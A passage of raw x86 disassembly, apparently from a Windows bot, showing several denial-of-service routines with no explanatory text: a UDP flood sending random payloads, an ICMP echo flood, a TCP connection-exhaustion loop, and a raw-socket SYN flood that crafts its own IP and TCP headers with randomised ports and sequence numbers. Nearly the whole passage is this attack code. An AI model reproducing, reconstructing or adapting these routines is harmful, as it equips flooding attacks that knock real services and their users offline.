		mov	dword_4E6FE4, ebx
		pop	ebx
		jmp	short loc_413BAB
; ---------------------------------------------------------------------------

loc_413B93:				; CODE XREF: sub_413956+20Bj
		push	[ebp+var_1BC]
		call	sub_40AFA9
		pop	ecx
		push	eax
		call	dword_4E4260	; inet_addr
		mov	dword_4E6FE4, eax

loc_413BAB:				; CODE XREF: sub_413956+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_4E6FE8, eax
		call	_rand
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4E6FEC, dl
		call	_rand
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4E6FED, dl
		call	_rand
		cdq
		mov	ecx, 0F0h
		push	400h		; Size
		idiv	ecx
		mov	word_4E6FEE, di
		mov	word_4E6FF2, bx
		inc	edx
		mov	word_4E6FF0, dx
		call	_rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx		; Val
		push	offset dword_4E6FF4 ; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_4E6FD8
		push	[ebp+var_4]
		call	dword_4E4284	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413C43
		inc	[ebp+arg_0]
		jmp	loc_413B0D
; ---------------------------------------------------------------------------

loc_413C43:				; CODE XREF: sub_413956+2E3j
		push	[ebp+var_4]
		call	dword_4E42B8	; closesocket
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset asc_44DCD0 ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_413C9B
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_409D6C
		add	esp, 14h

loc_413C9B:				; CODE XREF: sub_413956+323j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_38]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4F63D4	; ExitThread

loc_413CB8:				; CODE XREF: sub_413956+1C8j
		push	[ebp+var_4]
		call	dword_4E42B8	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DD18 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413D20
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_409D6C
		add	esp, 14h

loc_413D20:				; CODE XREF: sub_413956+3A8j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_38]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4F63D4	; ExitThread
sub_413956	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D3D	proc near		; DATA XREF: sub_401CC7+565Do

var_10320	= byte ptr -10320h
Dest		= byte ptr -344h
var_144		= dword	ptr -144h
Str		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
Dst		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_4E41A8	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4E4260	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_413D98
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4E42A4	; gethostbyname
		cmp	eax, ebx
		jz	short loc_413D9E

loc_413D98:				; CODE XREF: sub_413D3D+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_413DFB

loc_413D9E:				; CODE XREF: sub_413D3D+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DD64 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_413DDE
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_144]	; int
		call	sub_409D6C
		add	esp, 14h

loc_413DDE:				; CODE XREF: sub_413D3D+7Fj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_30]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4F63D4	; ExitThread

loc_413DFB:				; CODE XREF: sub_413D3D+5Fj
		cmp	eax, ebx
		jz	short loc_413E0B
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_413E0E
; ---------------------------------------------------------------------------

loc_413E0B:				; CODE XREF: sub_413D3D+C0j
		mov	[ebp+var_4], esi

loc_413E0E:				; CODE XREF: sub_413D3D+CCj
		push	1Ch		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_413E2E
		mov	[ebp+var_3C], eax

loc_413E2E:				; CODE XREF: sub_413D3D+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_413E36
		mov	[ebp+var_38], edi

loc_413E36:				; CODE XREF: sub_413D3D+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_413E63

loc_413E3D:				; CODE XREF: sub_413D3D+124j
		push	[ebp+var_38]
		lea	eax, [ebp+Dst]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_4E4138	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_413E3D

loc_413E63:				; CODE XREF: sub_413D3D+FEj
		push	[ebp+arg_0]
		call	dword_4E42D8	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DD8C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_413EAC
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_144]	; int
		call	sub_409D6C
		add	esp, 14h

loc_413EAC:				; CODE XREF: sub_413D3D+14Dj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_30]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread
sub_413D3D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413EC9	proc near		; DATA XREF: sub_401CC7+58A9o

var_10311	= byte ptr -10311h
var_10310	= byte ptr -10310h
Dest		= byte ptr -334h
var_134		= dword	ptr -134h
Str		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	ds:dword_4F63B0	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_4E42A0	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+Dst], 2
		push	eax
		call	dword_4E4260	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_413FAE
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_4E42A4	; gethostbyname
		cmp	eax, edi
		jnz	short loc_413FA7
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DDB8 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_413F8A
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_1C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_134]	; int
		call	sub_409D6C
		add	esp, 14h

loc_413F8A:				; CODE XREF: sub_413EC9+9Fj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_20]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread

loc_413FA7:				; CODE XREF: sub_413EC9+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_413FB1
; ---------------------------------------------------------------------------

loc_413FAE:				; CODE XREF: sub_413EC9+6Ej
		lea	eax, [ebp+arg_0]

loc_413FB1:				; CODE XREF: sub_413EC9+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_413FCC
		call	_rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_413FCF
; ---------------------------------------------------------------------------

loc_413FCC:				; CODE XREF: sub_413EC9+F0j
		push	[ebp+var_24]

loc_413FCF:				; CODE XREF: sub_413EC9+101j
		call	dword_4E4220	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_413FE1
		mov	[ebp+var_24], esi

loc_413FE1:				; CODE XREF: sub_413EC9+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_413FEE
		mov	[ebp+var_24], eax

loc_413FEE:				; CODE XREF: sub_413EC9+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_414002
		mov	[ebp+var_28], esi

loc_414002:				; CODE XREF: sub_413EC9+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_414023

loc_414009:				; CODE XREF: sub_413EC9+158j
		call	_rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi+var_10311], dl
		jl	short loc_414009

loc_414023:				; CODE XREF: sub_413EC9+13Ej
					; sub_413EC9+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_414082
		push	0Bh
		pop	esi

loc_414030:				; CODE XREF: sub_413EC9+197j
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_4E4284	; sendto
		push	[ebp+var_28]
		call	ds:dword_4F6380	; Sleep
		dec	esi
		jnz	short loc_414030
		cmp	[ebp+var_24], edi
		jnz	short loc_414023
		call	_rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_4E4220	; htons
		mov	[ebp+var_E], ax
		jmp	short loc_414023
; ---------------------------------------------------------------------------

loc_414082:				; CODE XREF: sub_413EC9+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DDE0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_4140C2
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_1C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_134]	; int
		call	sub_409D6C
		add	esp, 14h

loc_4140C2:				; CODE XREF: sub_413EC9+1D7j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_20]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4F63D4	; ExitThread
sub_413EC9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4140DF	proc near		; DATA XREF: sub_401CC7+4EF4o

Dest		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_190		= byte ptr -190h
var_110		= dword	ptr -110h
Str		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax		; int
		lea	eax, [ebp+var_190]
		push	eax		; Str
		lea	eax, [ebp+var_210]
		push	eax		; int
		call	sub_414240
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DE0C ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_41415F
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_409D6C
		add	esp, 14h

loc_41415F:				; CODE XREF: sub_4140DF+5Ej
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_10]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
sub_4140DF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41417E	proc near		; CODE XREF: sub_414240+27p

var_654		= byte ptr -654h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_4]
		call	dword_4E4220	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_41423C
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_4141C9:				; CODE XREF: sub_41417E+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_4141D1:				; CODE XREF: sub_41417E+7Aj
		push	0
		push	1
		push	2
		call	ds:dword_4F6570	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4141F4
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	ds:dword_4F6548	; ioctlsocket

loc_4141F4:				; CODE XREF: sub_41417E+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_4141D1
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_414202:				; CODE XREF: sub_41417E+96j
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	ds:dword_4F6564	; connect
		add	esi, 4
		dec	ebx
		jnz	short loc_414202
		push	64h
		call	ds:dword_4F6380	; Sleep
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_414226:				; CODE XREF: sub_41417E+B4j
		push	dword ptr [esi]
		call	ds:dword_4F656C	; closesocket
		add	esi, 4
		dec	ebx
		jnz	short loc_414226
		dec	[ebp+arg_4]
		jnz	short loc_4141C9
		pop	edi
		pop	esi
		pop	ebx

loc_41423C:				; CODE XREF: sub_41417E+3Ej
		xor	eax, eax
		leave
		retn
sub_41417E	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_414240(int,char *Str,int)

sub_414240	proc near		; CODE XREF: sub_4140DF+3Cp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AE8D
		push	[esp+10h+Str]	; Str
		mov	edi, eax
		call	_atoi
		push	[esp+14h+arg_8]	; Str
		mov	ebx, eax
		call	_atoi
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_41417E
		add	esp, 18h
		test	eax, eax
		jnz	short loc_414276
		push	1
		pop	eax

loc_414276:				; CODE XREF: sub_414240+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_414240	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414285	proc near		; DATA XREF: sub_401CC7+659Bo

Dest		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_190		= byte ptr -190h
var_110		= dword	ptr -110h
Str		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax		; int
		lea	eax, [ebp+var_190]
		push	eax		; Str
		lea	eax, [ebp+var_210]
		push	eax		; int
		call	sub_4145D6
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DE38 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_414305
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_409D6C
		add	esp, 14h

loc_414305:				; CODE XREF: sub_414285+5Ej
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_10]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
sub_414285	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414324	proc near		; CODE XREF: sub_4145D6+3Cp

var_284		= byte ptr -284h
Dest		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
Src		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
Dst		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4E4190	; WSAStartup
		test	eax, eax
		jz	short loc_414364
		xor	eax, eax
		jmp	loc_4145D2
; ---------------------------------------------------------------------------

loc_414364:				; CODE XREF: sub_414324+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4E42C4	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_4145CA
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4E4200	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4145C0
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_8]
		call	dword_4E4220	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4E4220	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4E4220	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4E4220	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	ds:dword_4F62F8	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4F643C	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	__allmul
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_41444F:				; CODE XREF: sub_414324+25Dj
					; sub_414324+26Bj
		mov	[ebp+var_24], bx
		call	_rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4E4220	; htons
		mov	[ebp+var_34], ax
		call	_rand
		mov	edi, eax
		shl	edi, 10h
		call	_rand
		or	edi, eax
		push	edi
		call	dword_4E4220	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4E421C	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4E4220	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+Src], eax
		lea	eax, [ebp+Src]
		push	20h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_34]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_94]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40B002
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_34]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_8C]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40B002
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4E4284	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414594
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4F643C	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_4145BD
		jl	loc_41444F
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_4145BD
		jmp	loc_41444F
; ---------------------------------------------------------------------------

loc_414594:				; CODE XREF: sub_414324+247j
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DE60 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		add	esp, 10h
		jmp	short loc_4145C0
; ---------------------------------------------------------------------------

loc_4145BD:				; CODE XREF: sub_414324+25Bj
					; sub_414324+269j
		mov	ebx, [ebp+arg_8]

loc_4145C0:				; CODE XREF: sub_414324+78j
					; sub_414324+297j
		push	[ebp+var_C]
		call	dword_4E42B8	; closesocket
		pop	esi

loc_4145CA:				; CODE XREF: sub_414324+5Bj
		call	dword_4E4178	; WSACleanup
		mov	eax, ebx

loc_4145D2:				; CODE XREF: sub_414324+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_414324	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4145D6(int,char *Str,int)

sub_4145D6	proc near		; CODE XREF: sub_414285+3Cp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AE8D
		push	[esp+10h+Str]	; Str
		mov	esi, eax
		call	_atoi
		push	[esp+14h+arg_8]	; Str
		mov	ebx, eax
		call	_atoi
		mov	edi, eax
		call	_rand
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_414324
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_414621
		push	1
		pop	eax

loc_414621:				; CODE XREF: sub_4145D6+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4145D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414630	proc near		; DATA XREF: sub_401CC7+6F6Do

Dest		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
Str		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4E4260	; inet_addr
		push	eax
		call	sub_4146D3
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DE80 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4146B4
